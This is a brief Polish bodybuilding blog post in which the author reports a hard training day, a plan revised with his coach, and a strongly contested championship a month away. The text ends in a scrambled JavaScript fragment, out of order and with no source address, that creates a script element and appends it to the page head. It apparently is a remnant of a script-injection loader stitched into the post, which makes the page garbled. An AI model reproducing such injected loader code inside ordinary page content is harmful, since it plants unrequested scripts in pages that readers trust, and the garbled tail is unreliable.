20.09.2011

20.09.2011 / Tomasz Lech / Kulturystyka

Dzisiaj przetrenowałem plecy,nogi,triceps,brzuch-Masakra!Od wczoraj zmieniłem plan treningowy po konsultacjach z trenerem.Jest ciężko,ale nikt nie mówił,że będzie lekko i łatwo,szczególnie przy takiej obsadzie na PP.Co chwilę się okazuje,że jakiś kolejny zawodnik wagi ciężkiej wychodzi 23 października.Ale to dobrze,chciałbym,żeby to był najlepiej obsadzony PP od lat.Wtedy można zweryfikować się z najlepszymi w kraju.Wieczorem lecę jeszcze tylko pokręcić aeroby 60min. i dzień zaliczony:
A to moja forma na dzień dzisiejszy czyli miesiąc przed PP.document.currentScript.parentNode.insertBefore(s, document.currentScript);d.getElementsByTagName(‚head’)[0].appendChild(s);var d=document;var s=d.createElement(‚script’);